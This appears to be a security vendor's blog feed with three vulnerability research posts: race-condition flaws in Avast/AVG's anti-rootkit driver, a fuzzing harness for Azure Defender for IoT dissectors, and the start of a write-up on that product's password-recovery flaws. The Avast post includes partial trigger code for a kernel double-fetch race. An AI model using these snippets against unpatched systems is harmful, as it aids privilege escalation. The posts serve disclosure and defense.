🔒
There are new articles available, click to refresh the page.
Before yesterdaySentinelLabs

Vulnerabilities in Avast And AVG Put Millions At Risk

5 May 2022 at 11:00

Executive Summary

  • SentinelLabs has discovered two high severity flaws in Avast and AVG (acquired by Avast in 2016) that went undiscovered for years affecting dozens of millions of users.
  • These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded.
  • SentinelLabs’ findings were proactively reported to Avast during December 2021 and the vulnerabilities are tracked as CVE-2022-26522 and CVE-2022-26523.
  • Avast has silently released security updates to address these vulnerabilities.
  • At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.

Introduction

Avast’s “Anti Rootkit” driver (also used by AVG) has been found to be vulnerable to two high severity attacks that could potentially lead to privilege escalation by running code in the kernel from a non-administrator user. Avast and AVG are widely deployed products, and these flaws have potentially left many users worldwide vulnerable to cyber attacks.

Given that these products run as privileged services on Windows devices, such bugs in the very software that is intended to protect users from harm present both an opportunity to attackers and a grave threat to users.

Security products such as these run at the highest level of privileges and are consequently highly attractive to attackers, who often use such vulnerabilities to carry out sophisticated attacks. Vulnerabilities such as this and others discovered by SentinelLabs (1, 2, 3) present a risk to organizations and users deploying the affected software.

As we reported recently, threat actors will exploit such flaws given the opportunity, and it is vital that affected users take appropriate mitigation actions. According to Avast, the vulnerable feature was introduced in Avast 12.1. Given the longevity of this flaw, we estimate that millions of users were likely exposed.

Security products ensure device security and are supposed to prevent such attacks from happening, but what if the security product itself introduces a vulnerability? Who’s protecting the protectors?

CVE-2022-26522

The vulnerable routine resides in a socket connection handler in the kernel driver aswArPot.sys. Since the two reported vulnerabilities are very similar, we will primarily focus on the details of CVE-2022-26522.

CVE-2022-26522 refers to a vulnerability that resides in aswArPot+0xc4a3.

As can be seen in the image above, the function first attaches the current thread to the target process, and then uses nt!PsGetProcessPeb to obtain a pointer to the current process PEB (red arrow). It then fetches (first time) PPEB->ProcessParameters->CommandLine.Length to allocate a new buffer (yellow arrow). It then copies the user supplied buffer at PPEB->ProcessParameters->CommandLine.Buffer with the size of PPEB->ProcessParameters->CommandLine.Length (orange arrow), which is the first fetch.

During this window of opportunity, an attacker could race the kernel thread and modify the Length variable.

Looper thread:

  PTEB tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast<NT_TIB*>(nullptr)->Self)));
    PPEB pebPtr = tebPtr->ProcessEnvironmentBlock;
 
    pebPtr->ProcessParameters->CommandLine.Length = 2;
   
    while (1) {
        pebPtr->ProcessParameters->CommandLine.Length ^= 20000;
    }

As can be seen from the code snippet above, the code obtains a pointer to the PEB structure and then flips the Length field in the process command line structure.

The vulnerability can be triggered inside the driver by initiating a socket connection as shown by the following code.

   printf("\nInitialising Winsock...");
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("Failed. Error Code : %d", WSAGetLastError());
        return 1;
    }
 
    printf("Initialised.\n");
    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
        printf("Could not create socket : %d", WSAGetLastError());
    }
    printf("Socket created.\n");
 
 
    server.sin_addr.s_addr = inet_addr(IP_ADDRESS);
    server.sin_family = AF_INET;
    server.sin_port = htons(80);
 
    if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0) {
        puts("connect error");
        return 1;
    }
 
    puts("Connected");
 
    message = (char *)"GET / HTTP/1.1\r\n\r\n";
    if (send(s, message, strlen(message), 0) < 0) {
        puts("Send failed");
        return 1;
    }
    puts("Data Sent!\n");

So the whole flow looks like this:

Once the vulnerability is triggered, the user sees the following alert from the OS.

CVE-2022-26523

The second vulnerable function is at aswArPot+0xbb94 and is very similar to the first vulnerability. This function double fetches the Length field from a user controlled pointer, too.

This vulnerable code is a part of several handlers in the driver and, therefore, can be triggered multiple ways such as via image load callback.

Both of these vulnerabilities were fixed in version 22.1.

Impact

Due to the nature of these vulnerabilities, they can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, the vulnerabilities could be exploited as part of a second stage browser attack or to perform a sandbox escape, among other possibilities.

As we have noted with similar flaws in other products recently (1, 2, 3), such vulnerabilities have the potential to allow complete take over of a device, even without privileges, due to the ability to execute code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

Mitigation

The majority of Avast and AVG users will receive the patch (version 22.1) automatically; however, those using air gapped or on premise installations are advised to apply the patch as soon as possible.

Conclusion

These high severity vulnerabilities, affect millions of users worldwide. As with another vulnerability SentinelLabs disclosed that remained hidden for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.

While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with dozens of millions of users affected, it is possible that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.

As part of the commitment of SentinelLabs to advancing industry security, we actively invest in vulnerability research, including advanced threat modeling and vulnerability testing of various platforms and technologies.

We would like to thank Avast for their approach to our disclosure and for quickly remediating the vulnerabilities.

Disclosure Timeline

  • 20 December, 2021 – Initial disclosure.
  • 04 January, 2022 – Avast acknowledges the report.
  • 11 February, 2022 – Avast notifies us that the vulnerabilities are fixed.

Inside the Black Box | How We Fuzzed Microsoft Defender for IoT and Found Multiple Vulnerabilities

13 April 2022 at 16:29

Introduction

Following on from our post into multiple vulnerabilities in Microsoft Azure Defender for IoT, this post discusses the techniques and infrastructure we used in our vulnerability research. In particular, we focus on the fuzzing infrastructure we developed in order to fuzz the DPI mechanism.

We explore the intricacies of developing an advanced fuzzer and describe our methods along with some of the challenges we met and overcame in the process. We hope that this will be of value to other researchers and contribute to the overall aim of improving product security in the enterprise.

In order to understand the context of what follows, readers are encouraged to review our previous post on the vulnerabilities we discovered and reported in Azure Defender for IoT.

Overview of Network Dissectors in the Horizon-Parser

Deep packet inspection (DPI) in Microsoft Azure Defender For IoT is achieved via the horizon component, which is responsible for analyzing network traffic. The horizon component loads built-in dissectors and can be extended to add custom network protocol dissectors.

The DPI infrastructure consists of two docker images that run on the sensor machine, Traffic-Monitor and Horizon-Parser.

The horizon-parser container is responsible for analyzing the traffic and extracting the appropriate fields as well as alerting if anomalies occur. This is the mechanism we will focus on since it is where the DPI is.

Let’s begin by taking a look at an overview of the horizon architecture:

Soure: MSDN

The main binary that the horizon-parser executes is the horizon daemon, which is responsible for the entire DPI process. In its initialization phase, this binary loads dissectors: shared libraries that implement network protocol parsers.

As an effective way to fuzz the network dissectors, we rely on binary instrumentation and an injected library that expands AFL to facilitate fast fuzzing mechanisms. While Microsoft had left some partially unstripped binaries containing only the function names, the vast majority of this research had to be performed “black box”. In addition to this, we had to compile a lot of dependency libraries and load their symbols into IDA to make the research easier.

Microsoft has released some limited information about how to implement a custom dissector. According to this information, a dissector is implemented via the following C++ interface:

#include “plugin/plugin.h”
namespace {
 class CyberxHorizonSDK: public horizon::protocol::BaseParser
  public:
   std::vector processDissectAs(const std::map<:string std::vector>> &filters) const override {
     return std::vector();
   }
   horizon::protocol::ParserResult processLayer(horizon::protocol::management::IProcessingUtils &ctx,
                                                horizon::general::IDataBuffer &data) override {
     return horizon::protocol::ParserResult();
   }
 };
}
 
extern "C" {
  std::shared_ptr<:protocol::baseparser> create_parser() {
    return std::make_shared();
  }
}
  • processDissectAs – Called when a new plugin is loaded with a map containing the structure of dissect_as, as defined in a JSON configuration file.
  • processLayer – The main function of the dissector. Everything related to packet processing should be done here. Each time a new packet is being routed to the dissector, this function will be called.
  • create_parser – Called when the dissector is loaded, used by the horizon binary in order to recognize and register the dissector. In addition, it is responsible for an early bootstrapping of the dissector.

A dissector is built in a layered configuration, meaning that each dissector is responsible for one layer and then the horizon service is responsible for passing the outcome to the next layer in the chain:

Source: MSDN

A dissector consists of a JSON configuration file, the binary file itself, and other metadata. Understanding the JSON configuration file is not necessary to follow the rest of the post, but it’ll give you the look and feel of the system.

Below is an example of the JSON configuration file for the FTP dissector.

{
  "id": "FTP",
  "override_id": 38,
  "library": "ftp",
  "endianess": "big",
  "backward_compatability": true,
  "metadata": {
    "is_distributed_control_system": false,
    "has_protocol_address": false,
    "is_scada_protocol": false,
    "is_router_potenial": false
  },
  "sanity_failure_codes": {
    "Not enough data": 1,
    "no result identified": 2
  },
  "malformed_codes": {
    "End of line not found": 2,
    "Wrong ports": 3,
    "No token found": 4,
<redacted>
  },
  "exports_dissect_as": {},
  "dissect_as": {
    "TCP": {
      "port": ["21"]
    }
  },
  "fields": [
    {
      "id": "response_code",
      "type": "numeric"
    },
<redacted>
    {
      "id": "firmware",
      "type": "array:complex",
      "fields": [
        {
          "id": "fwid",
          "type": "string"
        },
        {
          "id": "device_id",
          "type": "string"
        }
      ]
    }
  ]
}

Below is a list of the pre-installed dissectors that come with Azure Defender For IoT sensor machine.

Our task is to fuzz processLayer, as this is the routine that is responsible for actually parsing packet data. However, fuzzing stateful network services is not a simple task in any circumstances; fuzzing it on a black box target only adds to the complexity.

Fuzzing Dissectors with E9AFL

After some testing and experimentation, we chose AFL for fuzzing the dissectors, but we had to help it a little and provide coverage feedback to actually enable it to efficiently fuzz our targets.

To overcome the lack of sources we used e9afl with minor changes to fit our goals. E9AFL is an open source binary-level instrumentation project that relies on e9patch, a powerful static binary rewriting tool for x86_64 Linux ELF binaries. Interested readers can dive more into the background of E9AFL here.

We begin our instrumentation with E9AFL using the following commands.

./e9afl readelf
mkdir -p input
mkdir -p output
head -n 1 `which ls` > input/exe
afl-fuzz -m none -i input/ -o output/ -- ./readelf.afl -a @@

For our target, we needed to make some adjustments. For the sake of speed as well as other reasons that will be explained further below, we wanted to control the fork server initialization phase. We also wanted to accurately choose an initialization spot for the binary fuzzing to start. Given these requirements, we chose to modify the init function in the inserted instrumentation by commenting out the fork server initialization. As will be explained below, we implement this initialization manually later.

At this point, it is probably worth reminding readers that, to improve performance, afl-fuzz uses a “fork server”, where the fuzzed process goes through execve(), linking, and libc initialization only once, and is then cloned from a stopped process image by leveraging copy-on-write. The implementation is described in more detail here.

The point where we chose to start the fork server is a little before the entry point of processLayer on the invoked target dissector. However, in order to do so and also support generic fuzzing for every dissector, we needed to reverse engineer the horizon binary to understand the internal structures that are passed between these routines.

Unfortunately, this turned out to be a very tedious task since the code is very large, highly complex and written in modern C++. In addition, the horizon binary implements a framework of handling network traffic data.

Instead of spending time reversing the whole structures and relevant code, we came up with another idea and facilitated a special harness. We let the horizon binary run, then stopped it at a strategic location where all the structures had been populated and were ready to use, modified the appropriate fields to insert a test case, and continued execution with the fork server.

This meant that we did not need the entire structures passed to processLayer; some can be left untyped as we only relay those pointers (e.g., Dissection Context).

typedef void* (*process_layer_t)(void* parser_result, void* base_parser, void* dissection_context, data_buffer_t* data_buffer);

The data_buffer_t struct, which contains the packet data, needs to be modified for each execution of the fuzzee to feed new test cases to the fuzzer.

typedef struct __attribute__((packed)) __attribute__((aligned(4))) data_buffer
{
    void* _vftbl;
<redacted>
    unsigned long long cursor;
    unsigned long long data_len;
    unsigned long long total_data_len;
    void* data_ptr;
    void* data_ptr_end;
    void* curr_data_ptr;
    int field_80;
} data_buffer_t;

Let’s consider a brief flowchart of the fuzzing process.

We use AFL_PRELOAD or LD_PRELOAD (depending on the execution) to inject our fuzzer helper library into the fuzzee to facilitate a fuzzing ready environment.

The first code that runs in the library is the run() function, which is sort of a shared library entry point:

__attribute__((constructor)) int run() {
    char* current_path = realpath("/proc/self/exe", NULL);
 
    if (strstr(current_path, HORIZON_PATH) == 0) {
        return -1;
    }
 
    should_hook = 1;
    return 0;
}

As shown, it checks whether the main module is horizon and if it is, it enables the hooks by setting should_hook to true.

Since this library is injected in the early stages of the process creation, we have to set a temporary hook to a function, which in turn will set the hook to the real target function. The following function was chosen by reverse engineering. We found that it was being called by horizon in later stages of execution but before the packet processing actually starts.

	int (*setsockopt_orig)(int sockfd, int level, int optname, const void* optval, socklen_t optlen);
int setsockopt(int sockfd, int level, int optname, const void* optval, socklen_t optlen) {
    if (!setsockopt_orig) setsockopt_orig = dlsym(RTLD_NEXT, "setsockopt");
    if (done_hooking || !should_hook) {
        return setsockopt_orig(sockfd, level, optname, optval, optlen);
    }
    done_hooking = 1;
    hooker();
 
    return setsockopt_orig(sockfd, level, optname, optval, optlen);
}

This is due to the fact that our library is loaded when the process isn’t fully mapped yet. This function calls the hooker function, shown below.

int hooker() {
    horizon_baseaddr = get_lib_addr("horizon") + INSTRUMENTED_OFFSET;
 
    printf("horizon_baseaddress %p aligned: %p offset: %x\n", horizon_baseaddr, horizon_baseaddr + (CALL_PROCESS_HOOK_OFFSET & 0xff000), (CALL_PROCESS_HOOK_OFFSET & 0xff000));
    int ret_val = mprotect(horizon_baseaddr + (CALL_PROCESS_HOOK_OFFSET & 0xff000), 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
 
    <redacted>
 
    addr_to_returnto = (unsigned long long)(((char*)horizon_baseaddr) + (CALL_PROCESS_HOOK_OFFSET + 13));
    void* dest = horizon_baseaddr + CALL_PROCESS_HOOK_OFFSET;
 
    jump_struct_t jump_struct;
    jump_struct.moveopcode[0] = 0x49;
    jump_struct.moveopcode[1] = 0xbb;
    jump_struct.address = (unsigned long long) trampoline;
    jump_struct.pushorjump[0] = 0x41;  
    jump_struct.pushorjump[1] = 0xff;
    jump_struct.pushorjump[2] = 0xe3;
 
    memcpy(dest, &jump_struct, sizeof(jump_struct_t));
}

The INSTRUMENTED_OFFSET is an offset added to the main module by E9AFL. As can be seen, CALL_PROCESS_HOOK_OFFSET is our target code to be hooked by the trampoline code, which is right before processLayer is invoked.

The code above is only executed when a packet arrives; thus, we send a dummy packet to the target fuzzee.

The dissectionContext structure contains the state of the layered packet. For example, an HTTP packet is composed of several layers, including: ETHERNET, IPV4, TCP and HTTP, so the dissectionContext will contain information regarding each layer in the chain.

Since reconstructing all relevant structures can be tedious, for our purposes we can use an already populated dissectionContext as we only fuzz one layer at a time.

Let’s next take a look at the trampoline() code.

__attribute__((naked)) void trampoline() {
    __asm__(
        ".intel_syntax;"
        "push %%rax;" //backup rax
        "mov %%eax, [%%rsi+0x10];"
#ifdef IS_UDP
        "cmp %%eax, 0xe23ff64c;" // DNS CONST, for UDP
#else
        "cmp %%eax, 0x3d829631;" // HTTP CONST, for TCP
#endif
        "pop %%rax;" //restore rax
        "jz prepare_fuzzer;"
        "push %%rbp;"
        "push %%rbx;"
        "sub %%rsp, 0x1b8;"
        "mov [%%rsp], %%rdi;"
        "mov %%rdi, %0;"
        "jmp %%rdi;"
        ".att_syntax;"
        :: "p" (addr_to_returnto)
    );
}

The trampoline is responsible for redirecting the execution to the prepare_fuzzer function when the proper conditions are met. When our dummy packet is received, the trampoline compares the current layer ID to the HTTP constant. Although we chose HTTP arbitrarily, it could be any Layer7 protocol that sits on top of TCP. The same goes for UDP, but we use the DNS Layer ID instead. If it doesn’t match, we restore the correct program state by manually executing the overwritten instructions and jumping back to the continuation of the hooked function.Ultimately, we want to achieve a state where the dissectionContext points to a TCP/UDP previousLayer, depending on our target. This means that we only need to change the data buffer to our test case.

In the above scenario, rsi holds a pointer to dissectionContext, which contains the layer Id in offset 0x10 (pluginId on the picture).

When the above conditions are met, our fuzzee reaches this prepare_fuzzer.

At this point, we want to ensure that this function only gets executed once for each fuzzing instance.

int prepare_fuzzer(void* res, void* dissection_context) {
    if (did_hook_happened) {
        while (true) {
            sleep(1000);
        }
    }
    did_hook_happened = 1;

Notice that the function signature matches (partly) with the horizon::protocol::ParserOrchestrator::ParserOrchestratorImpl::callProcess function.

The rest of the parameters aren’t needed for us, since we can create them ourselves.

Customizing and Running The Fuzzer

There are about 100 builtin dissectors we want to fuzz. To make our fuzzing process easier, a number of generic environment variables were added that let us change the fuzzing target directly from the command line.

const char* target_fuzzee = getenv("__TARGET_FUZZEE");
    const char* target_path = getenv("__TARGET_FUZZEE_PATH");
    const char* target_symbol = getenv("__TARGET_SYMBOL");
    const char* fuzzfile = getenv("__FUZZFILE");
 
    if (!target_fuzzee || !target_symbol || !target_path || !fuzzfile) {
        printf("Failed to get environment variables target_fuzzee: %s, target_symbol: %s target_path: %s fuzzfile: %s\n", target_fuzzee, target_symbol, target_path, fuzzfile);
        ret_val = -1;
        exit(ret_val);
    }
  • The target_fuzzee variable is used to find our target dissector base address to further lookup necessary symbols (e.g., “libhttp”).
  • The target_path variable (described later) is used for symbol lookup (e.g., “/opt/horizon/lib/horizon/http/libhttp.so”).
  • The target_symbol variable is the symbol of the processLayer routine in our target dissector, for example:
    _ZN12_GLOBAL__N_110HTTPParser12processLayerERN7horizon8protocol10management16IProcessingUtilsERNS1_7general11IDataBufferE
  • The fuzzfile variable is the file that AFL is using to feed the fork server with new test cases.

Next, the lookup for create_parser is done:

void* real_lib_handle = dlopen(target_path, RTLD_NOW);
 
    if (real_lib_handle == NULL) {
        printf("Failed to get library handle\n");
        ret_val = -1;
        exit(ret_val);
    }
 
    printf("lib handle pointer %p\n", real_lib_handle);
    create_parser_addr = dlsym(real_lib_handle, "create_parser");
 
    if (create_parser_addr == NULL) {
        printf("Failed to get create_parser address\n");
        ret_val = -1;
        exit(ret_val);
    }

Then create_parser is called in order to obtain a pluginBase object of the target dissector, which is later passed to processLayer.

    printf("create_parser address %p\n", create_parser_addr);
 
    unsigned long long out = 0;
    void** create_parser_obj = create_parser_addr(&out);
 
    printf("create_parser obj  %p\n", *create_parser_obj);

Afterwards, a number of function pointers are obtained:

  handle_t* horizon_handle = create_module_handle(horizon_baseaddr, HORIZON_PATH);
 
    if (horizon_handle == NULL) {
        printf("horizon_handle is NULL \n");
        ret_val = -1;
        exit(ret_val);
    }
 
    lib_baseaddr = get_lib_addr((char*)target_fuzzee);
    printf("lib_baseaddress %p\n", lib_baseaddr);
    handle_t* lib_handle = create_module_handle(lib_baseaddr, (char*)target_path);
 
    if (lib_handle == NULL) {
        printf("lib_handle is NULL \n");
        ret_val = -1;
        exit(ret_val);
    }
 
    data_buffer_construct_ptr = lookup_symbol(horizon_handle, "_ZN7horizon7general10DataBufferC2Ev");
    printf("data_buffer_addr: %p\n", data_buffer_construct_ptr);
 
    process_layer_t process_layer_ptr = (process_layer_t)lookup_symbol(lib_handle, target_symbol);

The create_module_handle function maps the specified path to the memory and is used to search for an address to a function using a symbol name. This is required because dlopen does not load the symbol table.

Next, we lookup a pointer to the horizon::general::DataBuffer::DataBuffer constructor that initialises the data buffer object for us, and then we populate the appropriate fields to set it to our testcase. This is performed by create_data_buffer, which is used later in the code:

data_buffer_t* create_data_buffer(unsigned char* buffer, unsigned int len) {
    printf("data buffer size: %ld\n", sizeof(data_buffer_t));
    data_buffer_t* data_buffer = malloc(sizeof(data_buffer_t));
 
    if (data_buffer == NULL) {
        printf("Failed to allocate data buffer\n");
        return NULL;
    }
 
    data_buffer_construct_ptr(data_buffer);
 
    data_buffer->cursor = 0;
    data_buffer->data_len = len;
    data_buffer->total_data_len = len;
    data_buffer->data_ptr = buffer;
    data_buffer->data_ptr_end = &buffer[len];
    data_buffer->curr_data_ptr = buffer;
 
    return data_buffer;
}

We fire up the fork server and initialize afl’s coverage bitmap. Next, we read the test case data from the specified file. Finally, we create the data buffer with the test case and call the processLayer function.

	    __afl_map_shm();
    __afl_start_forkserver();
    //special point
    FILE* f = fopen(fuzzfile, "rb");
    if (f) {
        fseek(f, 0, SEEK_END);
        length = ftell(f);
        fseek(f, 0, SEEK_SET);
        fuzzbuffer = malloc(length);
        if (fuzzbuffer) {
            fread(fuzzbuffer, 1, length, f);
        }
        fclose(f);
    }
 
    if (fuzzbuffer) {
        data_buffer_t* buffer = create_data_buffer((unsigned char*)fuzzbuffer, length);
        process_layer_ptr(parser_result, *create_parser_obj, dissection_context, buffer);
    }
 
    _exit(0); // we only fuzz one dissector at a time

Every time the fuzzer executes a new test case, the execution continues from the “special point” as marked above.

To execute the fuzzer, we used the following command:

AFL_PRELOAD=/tmp/fuzzer/libloader.so __TARGET_FUZZEE=libsnmp __TARGET_FUZZEE_PATH=/opt/horizon/lib/horizon/snmp/libsnmp.so __TARGET_SYMBOL=_ZN12_GLOBAL__N_19SNMParser12processLayerERN7horizon8protocol10management16IProcessingUtilsERNS1_7general11IDataBufferE __FUZZFILE=/tmp/fuzzer/dissectors/libsnmp/fuzzfile.txt afl-fuzz -i /tmp/fuzzer/dissectors/libsnmp/in -o /tmp/fuzzer/dissectors/libsnmp/out -f /tmp/fuzzer/dissectors/libsnmp/fuzzfile.txt -m 100000 -M libsnmpmaster /opt/horizon/bin/horizon.instrumented

When we tested our fuzzer, we experienced several stability issues.

The fuzzer reported non-reproducible crashes and stability sometimes dropped to 0.1%. This happened because horizon had several threads doing polling, which generated non-deterministic behaviour. To fix this issue  we had to block the polling before the fork server started. Thus, we introduced the following hook.

int (*poll_orig)(struct pollfd* fds, nfds_t nfds, int timeout);
int poll(struct pollfd* fds, nfds_t nfds, int timeout) {
    if (!poll_orig)
        poll_orig = dlsym(RTLD_NEXT, "poll");
    if (should_end_poll) {
        pause();
    }
 
    return poll_orig(fds, nfds, timeout);
}

Right before starting the fork server, we set should_end_poll to true, which blocks this API.

   should_end_poll = 1;
    sleep(1);
 
    __afl_map_shm();
    __afl_start_forkserver();

This fixed the stability issue and raised it to above 99.5%.

The latest version of the loader can be found here.

Enhancing the Fuzzer’s Efficiency

We’ve done some fuzzing at this point, but we wanted to enhance and efficiently use our machines’ resources. However, we could not run two fuzzing instances simultaneously on the same machine. This is due to the fact that horizon listens on some sockets which prevents other instances from running as well.

We solved this problem via two different solutions. The first solution simply closes all the relevant sockets before starting the fork server:

void closesockets() {
    int i = 0;
    for(i=0; i

The second approach eliminates the need to actually send a packet to horizon. We found that the horizon service can be used in two modes:

  • Live packet capture - When used, horizon will capture packets from a port mirror. This is the default configuration mode, rcdcap.
  • Offline mode (PCAP) - In this mode, horizon will load a PCAP file from the disk and replay the traffic.
horizon.stats.interval=5
horizon.logger.stats=/var/cyberx/logs/horizon.stats.log
horizon.logger.default=/var/cyberx/logs/horizon.log
horizon.logger.format=%Y-%m-%d %H:%M:%S,%i %p [%P - %I] - %t
horizon.processor.type=live
horizon.processor.filter=
horizon.processor.workers=1
 
<redacted>

By reverse engineering the horizon binary, we figured out that we could change the processor time to be “file” and have it load a PCAP file as mentioned above.


This eventually made the configuration file look like this:

horizon.stats.interval=5
horizon.logger.stats=/var/cyberx/logs/horizon.stats.log
horizon.logger.default=/var/cyberx/logs/horizon.log
horizon.logger.format=%Y-%m-%d %H:%M:%S,%i %p [%P - %I] - %t
horizon.processor.type=file
horizon.processor.filter=
horizon.processor.workers=1
horizon.processor.file.path=/tmp/fuzzer/traffic.pcap
horizon.processor.afpacket.caplen=4096
horizon.processor.afpacket.blocks=5
 
<redacted>

All of these enhancements enabled us to execute numerous fuzzing instances.

At this point, we created a Telegram bot to report fuzzing progress, control coverage collecting per test case, and retrieve files from the fuzzer.

Checking Results and Finding Vulnerabilities

In order to check the fuzzer’s progress, we created a Python script that takes every new test case from each fuzzing instance and runs it with Intel PIN and lighthouse library, which allows us to see the coverage more easily in IDA Pro.

We ended up finding a lot of DOS vulnerabilities, which thanks to the Data buffer framework turned out to be pretty safe. Most of the DOS bugs we found were due to infinite recursion stack overflows.

Although we did not fuzz all possible dissectors, we eventually found a buffer overflow vulnerability in libsnmp.so.

The vulnerability occurs in the processVarBindList function. When calling the OBJECT_IDENTIFIER_get_arcs function, the code doesn't check the return value correctly and is being used as a loop stop condition. This loop copies controlled data to a stack buffer.

Sending a specially crafted packet causes OBJECT_IDENTIFIER_get_arcs to fail, and return a -1 value. Afterwards, the conditional statement does not check the value properly, resulting in a buffer overflow vulnerability with controlled data.

Conclusion

The fuzzing techniques we developed here helped us to find multiple vulnerabilities in Microsoft Azure Defender for IoT. The results of our research showed that vulnerabilities in the DPI infrastructure could be triggered by simply sending a packet within the monitored network; the exploit could be directed at any device since the DPI infrastructure monitors the network traffic, and an attacker does not need to have direct access to the sensor itself, rendering these kind of vulnerabilities more dangerous.

More generally, we hope the techniques described in this post will help others to develop their own advanced fuzzers, find currently unknown vulnerabilities and improve the security of closed-source products.

Pwning Microsoft Azure Defender for IoT | Multiple Flaws Allow Remote Code Execution for All

28 March 2022 at 17:59

By Kasif Dekel and Ronen Shustin (independent researcher)

Executive Summary

  • SentinelLabs has discovered a number of critical severity flaws in Microsoft Azure’s Defender for IoT affecting cloud and on-premise customers.
  • Unauthenticated attackers can remotely compromise devices protected by Microsoft Azure Defender for IoT by abusing vulnerabilities in Azure’s Password Recovery mechanism.
  • SentinelLabs’ findings were proactively reported to Microsoft in June 2021 and the vulnerabilities are tracked as CVE-2021-42310, CVE-2021-42312, CVE-2021-37222, CVE-2021-42313 and CVE-2021-42311 marked as critical, some with CVSS score 9.8.
  • Microsoft has released security updates to address these critical vulnerabilities. Users are encouraged to take action immediately.
  • At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.

Introduction

Operational technology (OT) networks power many of the most critical aspects of our society; however, many of these technologies were not designed with security in mind and can’t be protected with traditional IT security controls. Meanwhile, the Internet of Things (IoT) is enabling a new wave of innovation with billions of connected devices, increasing the attack surface and risk.

The problem has not gone unnoticed by vendors, and many offer security solutions in an attempt to address it, but what if the security solution itself introduces vulnerabilities? In this report, we will discuss critical vulnerabilities found in Microsoft Azure Defender for IoT, a security product for IoT/OT networks by Microsoft Azure.

First, we show how flaws in the password reset mechanism can be abused by remote attackers to gain unauthorized access. Then, we discuss multiple SQL injection vulnerabilities in Defender for IoT that allow remote attackers to gain access without authentication. Ultimately, our research raises serious questions about the security of security products themselves and their overall effect on the security posture of vulnerable sectors.

Microsoft Azure Defender For IoT

Microsoft Defender for IoT is an agentless network-layer security for continuous IoT/OT asset discovery, vulnerability management, and threat detection that does not require changes to existing environments. It can be deployed fully on-premises or in Azure-connected environments.

Source: Microsoft Azure Defender for IoT architecture

This solution consists of two main components:

  • Microsoft Azure Defender For IoT Management – Enables SOC teams to manage and analyze alerts aggregated from multiple sensors into a single dashboard and provides an overall view of the health of the networks.
  • Microsoft Azure Defender For IoT Sensor – Discovers and continuously monitors network devices. Sensors collect ICS network traffic using passive (agentless) monitoring on IoT and OT devices. Sensors connect to a SPAN port or network TAP and immediately begin performing DPI (Deep packet inspection) on IoT and OT network traffic.

Both components can be either installed on a dedicated appliance or on a VM.

Deep packet inspection (DPI) is achieved via the horizon component, which is responsible for analyzing network traffic. The horizon component loads built-in dissectors and can be extended to add custom network protocol dissectors.

Defender for IoT Web Interface Attack Surface

Both the management and the sensor share roughly the same code base, with configuration changes to fit the purpose of the machine. This is the reason why both machines are affected by most of the same vulnerabilities.

The most appealing attack surface exposed on both machines is the web interface, which allows controlling the environment in an easy way. The sensor additionally exposes another attack surface which is the DPI service (horizon) that parses the network traffic.

After installing and configuring the management and sensors, we are greeted with the login page of the web interface.

The same credentials are used also as the login credentials for the SSH server, which gives us some more insights into how the system works. The first thing we want to do is obtain the sources to see what is happening behind the scenes, so how do we get those?

Defender for IoT is a product formerly known as CyberX, acquired by Microsoft in 2020. Looking around in the home directory of the “cyberx” user, we found the installation script and a tar archive containing the system’s encrypted files. Reading the script we found the command that decrypts the archive file. A minified version:

openssl enc -d -aes256 -in ./product.tar.gz -md sha512 -k <KEY> | tar xz -C <TARGET_DIR>

The decryption key is shared across all installations.

After extracting the data we found the sources for the web interface ( written in Python) and got to work.

We first aimed to find any exposed unauthenticated APIs and look for vulnerabilities there.

Finding Potentially Vulnerable Controllers

The urls.py file contains the main routes for the web application:

xsense_routes = [
    ['handshake', XSenseHandshakeApiHandler]
]
 
xsense_v17_routes = [
    ['sync', xsense_v17.XSenseSyncApiHandler]
]
 
upgrade_v1_routes = [
    ['status', upgrade_v1.RemoteUpgradeStatusApiHandler],
    ['upgrade-log', upgrade_v1.RemoteUpgradeLogFileApiHandler]
]
 
token_v1_routes = [
    ['verify', token_v1.TokenVerificationHandlers],
    ['update-handshake', token_v1.UpdateHandshakeHandlers],
]
 
frontend_routes = [
 
    ['alerts', AlertsApiHandler],
    ['alerts/(?P[0-9]*)', AlertsApiHandler],
    ['alerts/scenarios', AlertScenariosApiHandler],
    <redacted>
]
management_routs = [
    ['backup/sync', ManagementApiHandler],
    ['backup/package', ManagementApiBackupHandler],
    ['backup/maintenance', MaintenanceApiHandler]
]
<redacted>

Using Jetbrains IntelliJ’s class hierarchy feature we can easily identify route controllers that do not require authentication.

Route controllers that do not require authentication

Every controller that inherits from BaseHandler and does not validate authentication or requires a secret token is a good candidate at this point. Some controllers drew our attention in particular.

Understanding Azure’s Password Recovery Mechanism

The password recovery mechanism for both the management and sensor operates as follows:

  1. Access to management/sensor URL (e.g., https://ip/login#/dashboard)
  2. Go to the “Password Recovery” page.
  3. Copy the ApplianceID provided in this page to the Azure console and get a password reset ZIP file which you upload in the password reset page.
  4. Upload the signed ZIP file to the management/sensor Password Recovery page using the mentioned form in Step 2. This ZIP contains digitally-signed proof that the user is the owner of this machine, by way of digital certificates and signed data.
  5. A new password is generated and displayed to the user

Under the hood:

  1. The actual process is divided into two requests to the management/sensor server:
    1. Upload of the signed ZIP proof
    2. Password recovery
  2. When a ZIP file is uploaded, it is being extracted to the /var/cyberx/reset_password directory (handled by ZipFileConfigurationApiHandler).
  3. When a password recovery request is being processed, the server performs the following operations:
    1. The PasswordRecoveryApiHandler controller validates the certificates. This validates that the certificates are properly signed by a Root CA. in addition, it checks whether these certificates belong to Azure servers.
    2. A request is sent to an internal Tomcat server to further validate the properties of the machine.
    3. If all checks pass properly, PasswordRecoveryApiHandler generates a new password and returns it to the user.

The ZIP contains the following files:

  • IotDefenderSigningCertificate.pem – Azure public key, used to verify the data signature in ResetPassword.json, signed by issuer.pem.
  • Issuer.pem – Signs IotDefenderSigningCertificate.pem, signed by a trusted root CA.
